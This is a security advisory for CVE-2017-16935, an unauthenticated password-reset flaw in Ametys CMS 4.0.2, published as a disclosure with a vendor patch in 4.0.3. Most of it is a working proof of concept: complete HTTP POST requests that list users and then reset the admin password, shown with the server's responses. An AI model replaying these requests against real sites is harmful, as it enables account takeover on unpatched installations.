SSD Advisory – Ametys CMS Unauthenticated Password Reset

Vulnerability Summary
The following advisory describes a password reset vulnerability found in Ametys CMS version 4.0.2
Ametys is “a free and open source content management system (CMS) written in Java. It is based on JSR-170 for content storage, Open Social for gadget rendering and a XML oriented framework.”
Credit
An independent security researcher, Jose Luis, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
Ametys has released patches to address this vulnerability – Ametys version 4.0.3
For more details: https://issues.ametys.org/browse/RUNTIME-2582
CVE-2017-16935

Vulnerability details
User controlled input is not sufficiently sanitized. Unauthenticated user can perform administrative operations without properly authorization.
Ametys CMS only checks the authorization if the request includes /cms/ in the web request.
By that, we can reset any password of users, including administrator users
Proof of Concept
By sending the following POST request, we can obtain the list of users:

POST /plugins/core-ui/servercomm/messages.xml HTTP/1.1
Host: 192.168.196.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.196.128:8080/cms/www/index.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 213
Cookie: JSESSIONID=
Connection: close
content={"0":{"pluginOrWorkspace":"core","responseType":"text","url":"users/search.json","p
arameters":{"contexts":["/sites/www","/sites-
fo/www"],"criteria":"","limit":100,"page":1,"start":0}}}}&context.parameters={}

The server then will response with:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Cocoon-Version: 2.1.13-dev
Content-Type: text/xml
Date: Tue, 03 Oct 2017 13:52:15 GMT
Connection: close
Content-Length: 1875
<?xml version="1.0" encoding="UTF-8"?><responses><response id="0" code="200"
duration="946">{"users":[{"firstname":"Simple","sortablename":"Contributor
Simple","populationLabel":"Ametys Demo
Users","populationId":"ametys_demo_users","fullname":"Simple
Contributor","login":"contrib","directory":"SQL
database","email":"contrib@example.com","lastname":"Contributor"},{"firstname":"User1","s
ortablename":"User1 User1","populationLabel":"FO Demo Users","populationId":"fo-demo-
users","fullname":"User1 User1","login":"user1@ametys.org","directory":"SQL
database","email":"user1@ametys.org","lastname":"User1"},{"firstname":"User3","sortablena
me":"User3 User3","populationLabel":"FO Demo Users","populationId":"fo-demo-
users","fullname":"User3 User3","login":"user3@ametys.org","directory":"SQL
database","email":"user3@ametys.org","lastname":"User3"},{"firstname":"Webmaster","sorta
blename":"User Webmaster","populationLabel":"Ametys Demo
Users","populationId":"ametys_demo_users","fullname":"Webmaster
User","login":"webmaster","directory":"SQL
database","email":"webmaster@example.com","lastname":"User"},{"firstname":"Manager","s
ortablename":"User Manager","populationLabel":"Ametys Demo
Users","populationId":"ametys_demo_users","fullname":"Manager
User","login":"manager","directory":"SQL
database","email":"manager@example.com","lastname":"User"},{"firstname":"Administrator"
,"sortablename":"User Administrator","populationLabel":"Ametys Demo
Users","populationId":"ametys_demo_users","fullname":"Administrator
User","login":"admin","directory":"SQL
database","email":"admin@example.com","lastname":"User"},{"firstname":"User2","sortable
name":"User2 User2","populationLabel":"FO Demo Users","populationId":"fo-demo-
users","fullname":"User2 User2","login":"user2@ametys.org","directory":"SQL
database","email":"user2@ametys.org","lastname":"User2"}]}</response></responses>

The value of the field “populationId” and “login”, we need these values for the next request
Now, we need perform another request to change the password of the admin user:

POST /plugins/core-ui/servercomm/messages.xml HTTP/1.1
Host: 192.168.196.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.196.128:8080/cms/www/index.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 345
Cookie: JSESSIONID=
Connection: close
content={"0":{"pluginOrWorkspace":"core-ui","responseType":"text","url":"client-
call","parameters":{"role":"org.ametys.plugins.core.user.UserDAO","methodName":"editUser"
,"parameters":["ametys_demo_users",{"login":"admin","password":"MYNEWPASSWORD","fi
rstname":"Administrator","lastname":"User","email":"admin@example.com"}]}}}&context.par
ameters={}

Once we have performed the request, the response is:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Cocoon-Version: 2.1.13-dev
Content-Type: text/xml
Date: Tue, 03 Oct 2017 13:52:59 GMT
Connection: close
Content-Length: 374
<?xml version="1.0" encoding="UTF-8"?><responses><response id="0" code="200"
duration="110">{"firstname":"Administrator","sortablename":"User
Administrator","populationLabel":"Ametys Demo
Users","populationId":"ametys_demo_users","fullname":"Administrator
User","login":"admin","directory":"SQL
database","email":"admin@example.com","lastname":"User"}</response></responses>

Now you can log in as Admin with password MYNEWPASSWORD